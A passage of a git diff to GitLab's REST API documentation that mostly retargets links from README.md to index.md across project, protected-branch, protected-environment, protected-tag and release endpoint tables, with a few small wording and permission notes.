| `container_expiration_policy_attributes` | hash | **{dotted-circle}** No | Update the image cleanup policy for this project. Accepts: `cadence` (string), `keep_n` (integer), `older_than` (string), `name_regex` (string), `name_regex_delete` (string), `name_regex_keep` (string), `enabled` (boolean). |
| `container_registry_enabled` | boolean | **{dotted-circle}** No | Enable container registry for this project. |
@@ -1335,7 +1337,7 @@ PUT /projects/:id
| `emails_disabled` | boolean | **{dotted-circle}** No | Disable email notifications. |
| `external_authorization_classification_label` **(PREMIUM)** | string | **{dotted-circle}** No | The classification label for the project. |
| `forking_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. |
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `import_url` | string | **{dotted-circle}** No | URL to import repository from. |
| `issues_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. |
| `issues_enabled` | boolean | **{dotted-circle}** No | _(Deprecated)_ Enable issues for this project. Use `issues_access_level` instead. |
@@ -1394,7 +1396,7 @@ POST /projects/:id/fork
| Attribute | Type | Required | Description |
|------------------|----------------|------------------------|-------------|
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `name` | string | **{dotted-circle}** No | The name assigned to the resultant project after forking. |
| `namespace_id` | integer | **{dotted-circle}** No | The ID of the namespace that the project is forked to. |
| `namespace_path` | string | **{dotted-circle}** No | The path of the namespace that the project is forked to. |
@@ -1417,7 +1419,7 @@ GET /projects/:id/forks
| Attribute | Type | Required | Description |
|-------------------------------|----------------|------------------------|-------------|
| `archived` | boolean | **{dotted-circle}** No | Limit by archived status. |
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `membership` | boolean | **{dotted-circle}** No | Limit by projects that the current user is a member of. |
| `min_access_level` | integer | **{dotted-circle}** No | Limit by current user minimal [access level](members.md#valid-access-levels). |
| `order_by` | string | **{dotted-circle}** No | Return projects ordered by `id`, `name`, `path`, `created_at`, `updated_at`, or `last_activity_at` fields. Default is `created_at`. |
@@ -1426,7 +1428,7 @@ GET /projects/:id/forks
| `simple` | boolean | **{dotted-circle}** No | Return only limited fields for each project. This is a no-op without authentication as then _only_ simple fields are returned. |
| `sort` | string | **{dotted-circle}** No | Return projects sorted in `asc` or `desc` order. Default is `desc`. |
| `starred` | boolean | **{dotted-circle}** No | Limit by projects starred by the current user. |
-| `statistics` | boolean | **{dotted-circle}** No | Include project statistics. |
+| `statistics` | boolean | **{dotted-circle}** No | Include project statistics. Only available to Reporter or higher level role members. |
| `visibility` | string | **{dotted-circle}** No | Limit by visibility `public`, `internal`, or `private`. |
| `with_custom_attributes` | boolean | **{dotted-circle}** No | Include [custom attributes](custom_attributes.md) in response. _(admins only)_ |
| `with_issues_enabled` | boolean | **{dotted-circle}** No | Limit by enabled issues feature. |
@@ -1523,7 +1525,7 @@ POST /projects/:id/star
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|-------------|
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/star"
@@ -1621,7 +1623,7 @@ POST /projects/:id/unstar
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|-------------|
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/unstar"
@@ -1719,7 +1721,7 @@ GET /projects/:id/starrers
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|-------------|
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `search` | string | **{dotted-circle}** No | Search for specific users. |
```shell
@@ -1765,7 +1767,7 @@ GET /projects/:id/languages
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|-------------|
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/languages"
@@ -1794,7 +1796,7 @@ POST /projects/:id/archive
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|-------------|
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/archive"
@@ -1913,7 +1915,7 @@ POST /projects/:id/unarchive
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|-------------|
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/unarchive"
@@ -2044,7 +2046,7 @@ DELETE /projects/:id
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|-------------|
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
## Restore project marked for deletion **(PREMIUM)**
@@ -2058,7 +2060,7 @@ POST /projects/:id/restore
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|-------------|
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
## Upload a file
@@ -2073,7 +2075,7 @@ POST /projects/:id/uploads
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|-------------|
| `file` | string | **{check-circle}** Yes | The file to be uploaded. |
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
To upload a file from your file system, use the `--form` argument. This causes
cURL to post data using the header `Content-Type: multipart/form-data`. The
@@ -2147,7 +2149,7 @@ PUT /projects/:id
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|-------------|
| `avatar` | string | **{check-circle}** Yes | The file to be uploaded. |
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
To upload an avatar from your file system, use the `--form` argument. This causes
cURL to post data using the header `Content-Type: multipart/form-data`. The
@@ -2182,7 +2184,7 @@ POST /projects/:id/share
| `expires_at` | string | **{dotted-circle}** No | Share expiration date in ISO 8601 format: 2016-09-26 |
| `group_access` | integer | **{check-circle}** Yes | The [access level](members.md#valid-access-levels) to grant the group. |
| `group_id` | integer | **{check-circle}** Yes | The ID of the group to share with. |
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
## Delete a shared project link within a group
@@ -2195,7 +2197,7 @@ DELETE /projects/:id/share/:group_id
| Attribute | Type | Required | Description |
|------------|----------------|------------------------|-------------|
| `group_id` | integer | **{check-circle}** Yes | The ID of the group. |
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
```shell
curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/share/17"
@@ -2216,7 +2218,7 @@ GET /projects/:id/hooks
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|-------------|
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
### Get project hook
@@ -2229,7 +2231,7 @@ GET /projects/:id/hooks/:hook_id
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|---------------------------|
| `hook_id` | integer | **{check-circle}** Yes | The ID of a project hook. |
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
```json
{
@@ -2268,7 +2270,7 @@ POST /projects/:id/hooks
| `confidential_note_events` | boolean | **{dotted-circle}** No | Trigger hook on confidential note events. |
| `deployment_events` | boolean | **{dotted-circle}** No | Trigger hook on deployment events. |
| `enable_ssl_verification` | boolean | **{dotted-circle}** No | Do SSL verification when triggering the hook. |
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `issues_events` | boolean | **{dotted-circle}** No | Trigger hook on issues events. |
| `job_events` | boolean | **{dotted-circle}** No | Trigger hook on job events. |
| `merge_requests_events` | boolean | **{dotted-circle}** No | Trigger hook on merge requests events. |
@@ -2296,7 +2298,7 @@ PUT /projects/:id/hooks/:hook_id
| `deployment_events` | boolean | **{dotted-circle}** No | Trigger hook on deployment events. |
| `enable_ssl_verification` | boolean | **{dotted-circle}** No | Do SSL verification when triggering the hook. |
| `hook_id` | integer | **{check-circle}** Yes | The ID of the project hook. |
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `issues_events` | boolean | **{dotted-circle}** No | Trigger hook on issues events. |
| `job_events` | boolean | **{dotted-circle}** No | Trigger hook on job events. |
| `merge_requests_events` | boolean | **{dotted-circle}** No | Trigger hook on merge requests events. |
@@ -2322,7 +2324,7 @@ DELETE /projects/:id/hooks/:hook_id
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|-------------|
| `hook_id` | integer | **{check-circle}** Yes | The ID of the project hook. |
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
Note the JSON response differs if the hook is available or not. If the project
hook is available before it's returned in the JSON response or an empty response
@@ -2342,7 +2344,7 @@ POST /projects/:id/fork/:forked_from_id
| Attribute | Type | Required | Description |
|------------------|----------------|------------------------|-------------|
| `forked_from_id` | ID | **{check-circle}** Yes | The ID of the project that was forked from. |
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
### Delete an existing forked from relationship
@@ -2352,7 +2354,7 @@ DELETE /projects/:id/fork
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|-------------|
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
## Search for projects by name
@@ -2382,7 +2384,7 @@ POST /projects/:id/housekeeping
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|-------------|
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
## Push Rules **(PREMIUM)**
@@ -2397,7 +2399,7 @@ GET /projects/:id/push_rule
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|-------------|
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
```json
{
@@ -2449,7 +2451,7 @@ POST /projects/:id/push_rule
| `commit_message_regex` | string | **{dotted-circle}** No | All commit messages must match this, for example `Fixed \d+\..*`. |
| `deny_delete_tag` | boolean | **{dotted-circle}** No | Deny deleting a tag. |
| `file_name_regex` | string | **{dotted-circle}** No | All committed filenames must **not** match this, for example `(jar|exe)$`. |
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding), |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding), |
| `max_file_size` | integer | **{dotted-circle}** No | Maximum file size (MB). |
| `member_check` | boolean | **{dotted-circle}** No | Restrict commits by author (email) to existing GitLab users. |
| `prevent_secrets` | boolean | **{dotted-circle}** No | GitLab rejects any files that are likely to contain secrets. |
@@ -2472,7 +2474,7 @@ PUT /projects/:id/push_rule
| `commit_message_regex` | string | **{dotted-circle}** No | All commit messages must match this, for example `Fixed \d+\..*`. |
| `deny_delete_tag` | boolean | **{dotted-circle}** No | Deny deleting a tag. |
| `file_name_regex` | string | **{dotted-circle}** No | All committed filenames must **not** match this, for example `(jar|exe)$`. |
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `max_file_size` | integer | **{dotted-circle}** No | Maximum file size (MB). |
| `member_check` | boolean | **{dotted-circle}** No | Restrict commits by author (email) to existing GitLab users. |
| `prevent_secrets` | boolean | **{dotted-circle}** No | GitLab rejects any files that are likely to contain secrets. |
@@ -2491,7 +2493,7 @@ DELETE /projects/:id/push_rule
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|-------------|
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
## Transfer a project to a new namespace
@@ -2503,7 +2505,7 @@ PUT /projects/:id/transfer
| Attribute | Type | Required | Description |
|-------------|----------------|------------------------|-------------|
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `namespace` | integer or string | **{check-circle}** Yes | The ID or path of the namespace to transfer to project to. |
Example request:
@@ -2653,7 +2655,7 @@ POST /projects/:id/mirror/pull
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|-------------|
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/:id/mirror/pull"
@@ -2682,7 +2684,7 @@ GET /projects/:id/snapshot
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|-------------|
-| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `wiki` | boolean | **{dotted-circle}** No | Whether to download the wiki, rather than project, repository. |
## Get the path to repository storage
@@ -2697,7 +2699,7 @@ GET /projects/:id/storage
| Attribute | Type | Required | Description |
|--------------|----------------|------------------------|-------------|
-| `id` | integer or string | **{check-circle}** Yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
```json
[
diff --git a/doc/api/protected_branches.md b/doc/api/protected_branches.md
index 2fe821a7758..a75090c90d5 100644
--- a/doc/api/protected_branches.md
+++ b/doc/api/protected_branches.md
@@ -30,7 +30,7 @@ GET /projects/:id/protected_branches
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `search` | string | no | Name or part of the name of protected branches to be searched for |
```shell
@@ -124,7 +124,7 @@ GET /projects/:id/protected_branches/:name
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `name` | string | yes | The name of the branch or wildcard |
```shell
@@ -199,7 +199,7 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitla
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `name` | string | yes | The name of the branch or wildcard |
| `push_access_level` | string | no | Access levels allowed to push (defaults: `40`, Maintainer role) |
| `merge_access_level` | string | no | Access levels allowed to merge (defaults: `40`, Maintainer role) |
@@ -280,7 +280,7 @@ Example response:
### Example with user / group level access **(PREMIUM)**
Elements in the `allowed_to_push` / `allowed_to_merge` / `allowed_to_unprotect` array should take the
-form `{user_id: integer}`, `{group_id: integer}` or `{access_level: integer}`. Each user must have access to the project and each group must [have this project shared](../user/project/members/share_project_with_groups.md). These access levels allow [more granular control over protected branch access](../user/project/protected_branches.md#restricting-push-and-merge-access-to-certain-users) and were [added to the API](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/3516) in GitLab 10.3 EE.
+form `{user_id: integer}`, `{group_id: integer}`, or `{access_level: integer}`. Each user must have access to the project and each group must [have this project shared](../user/project/members/share_project_with_groups.md). These access levels allow [more granular control over protected branch access](../user/project/protected_branches.md).
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/protected_branches?name=*-stable&allowed_to_push%5B%5D%5Buser_id%5D=1"
@@ -399,7 +399,7 @@ curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://git
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `name` | string | yes | The name of the branch |
## Require code owner approvals for a single branch
@@ -416,6 +416,6 @@ curl --request PATCH --header "PRIVATE-TOKEN: <your_access_token>" "https://gitl
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `name` | string | yes | The name of the branch |
| `code_owner_approval_required` | boolean | no | **(PREMIUM)** Prevent pushes to this branch if it matches an item in the [`CODEOWNERS` file](../user/project/code_owners.md). (defaults: false)|
diff --git a/doc/api/protected_environments.md b/doc/api/protected_environments.md
index 52fcdad1ad6..9a64e676ad9 100644
--- a/doc/api/protected_environments.md
+++ b/doc/api/protected_environments.md
@@ -30,7 +30,7 @@ GET /projects/:id/protected_environments
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/protected_environments/"
@@ -64,7 +64,7 @@ GET /projects/:id/protected_environments/:name
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `name` | string | yes | The name of the protected environment |
```shell
@@ -104,7 +104,7 @@ curl --header 'Content-Type: application/json' --request POST \
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `name` | string | yes | The name of the environment. |
| `deploy_access_levels` | array | yes | Array of access levels allowed to deploy, with each described by a hash. |
@@ -143,5 +143,5 @@ curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://git
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `name` | string | yes | The name of the protected environment. |
diff --git a/doc/api/protected_tags.md b/doc/api/protected_tags.md
index e04f418258d..7a46a2dbf12 100644
--- a/doc/api/protected_tags.md
+++ b/doc/api/protected_tags.md
@@ -30,7 +30,7 @@ GET /projects/:id/protected_tags
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/protected_tags"
@@ -64,7 +64,7 @@ GET /projects/:id/protected_tags/:name
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `name` | string | yes | The name of the tag or wildcard |
```shell
@@ -100,7 +100,7 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitla
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `name` | string | yes | The name of the tag or wildcard |
| `create_access_level` | string | no | Access levels allowed to create (defaults: `40`, Maintainer role) |
@@ -132,5 +132,5 @@ curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://git
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `name` | string | yes | The name of the tag |
diff --git a/doc/api/releases/index.md b/doc/api/releases/index.md
index 0cbf613c598..cb688b81336 100644
--- a/doc/api/releases/index.md
+++ b/doc/api/releases/index.md
@@ -12,6 +12,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> - Release Evidences were [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/26019) in GitLab 12.5.
> - `description_html` became an opt-in field [with GitLab 13.12 for performance reasons](https://gitlab.com/gitlab-org/gitlab/-/issues/299447).
Please pass the `include_html_description` query string parameter if you need it.
+> - [The permission model for create, update and delete actions was fixed](https://gitlab.com/gitlab-org/gitlab/-/issues/327505) in GitLab 14.1.
+ See [Release permissions](../../user/project/releases/index.md#release-permissions) for more information.
## List Releases
@@ -23,7 +25,7 @@ GET /projects/:id/releases
| Attribute | Type | Required | Description |
| ------------- | -------------- | -------- | ----------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../index.md#namespaced-path-encoding). |
| `order_by` | string | no | The field to use as order. Either `released_at` (default) or `created_at`. |
| `sort` | string | no | The direction of the order. Either `desc` (default) for descending order or `asc` for ascending order. |
| `include_html_description` | boolean | no | If `true`, a response includes HTML rendered Markdown of the release description. |
@@ -228,7 +230,7 @@ GET /projects/:id/releases/:tag_name
| Attribute | Type | Required | Description |
| ------------- | -------------- | -------- | ----------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../index.md#namespaced-path-encoding). |
| `tag_name` | string | yes | The Git tag the release is associated with. |
| `include_html_description` | boolean | no | If `true`, a response includes HTML rendered Markdown of the release description. |
@@ -359,7 +361,7 @@ POST /projects/:id/releases
| Attribute | Type | Required | Description |
| -------------------| --------------- | -------- | -------------------------------------------------------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../index.md#namespaced-path-encoding). |
| `name` | string | no | The release name. |
| `tag_name` | string | yes | The tag where the release is created from. |
| `description` | string | no | The description of the release. You can use [Markdown](../../user/markdown.md). |
@@ -507,7 +509,7 @@ POST /projects/:id/releases/:tag_name/evidence
| Attribute | Type | Required | Description |
| ------------- | -------------- | -------- | ----------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../index.md#namespaced-path-encoding). |
| `tag_name` | string | yes | The Git tag the release is associated with. |
Example request:
@@ -532,7 +534,7 @@ PUT /projects/:id/releases/:tag_name
| Attribute | Type | Required | Description |
| ------------- | --------------- | -------- | ----------------------------------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../index.md#namespaced-path-encoding). |
| `tag_name` | string | yes | The Git tag the release is associated with. |
| `name` | string | no | The release name. |
| `description` | string | no | The description of the release. You can use [Markdown](../../user/markdown.md). |
@@ -639,7 +641,7 @@ DELETE /projects/:id/releases/:tag_name
| Attribute | Type | Required | Description |
| ------------- | -------------- | -------- | ----------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../index.md#namespaced-path-encoding). |
| `tag_name` | string | yes | The Git tag the release is associated with. |
Example request:
diff --git a/doc/api/releases/links.md b/doc/api/releases/links.md
index f4a2df5558f..2f8dc363124 100644
--- a/doc/api/releases/links.md
+++ b/doc/api/releases/links.md
@@ -21,7 +21,7 @@ GET /projects/:id/releases/:tag_name/assets/links
| Attribute | Type | Required | Description |
| ------------- | -------------- | -------- | --------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../index.md#namespaced-path-encoding). |
| `tag_name` | string | yes | The tag associated with the Release. |
Example request:
@@ -61,7 +61,7 @@ GET /projects/:id/releases/:tag_name/assets/links/:link_id
| Attribute | Type | Required | Description |
| ------------- | -------------- | -------- | --------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../index.md#namespaced-path-encoding). |
| `tag_name` | string | yes | The tag associated with the Release. |
| `link_id` | integer | yes | The ID of the link. |
@@ -93,7 +93,7 @@ POST /projects/:id/releases/:tag_name/assets/links
| Attribute | Type | Required | Description |
| ------------- | -------------- | -------- | ---------------------------------------------------------------------------------------------------------------- |
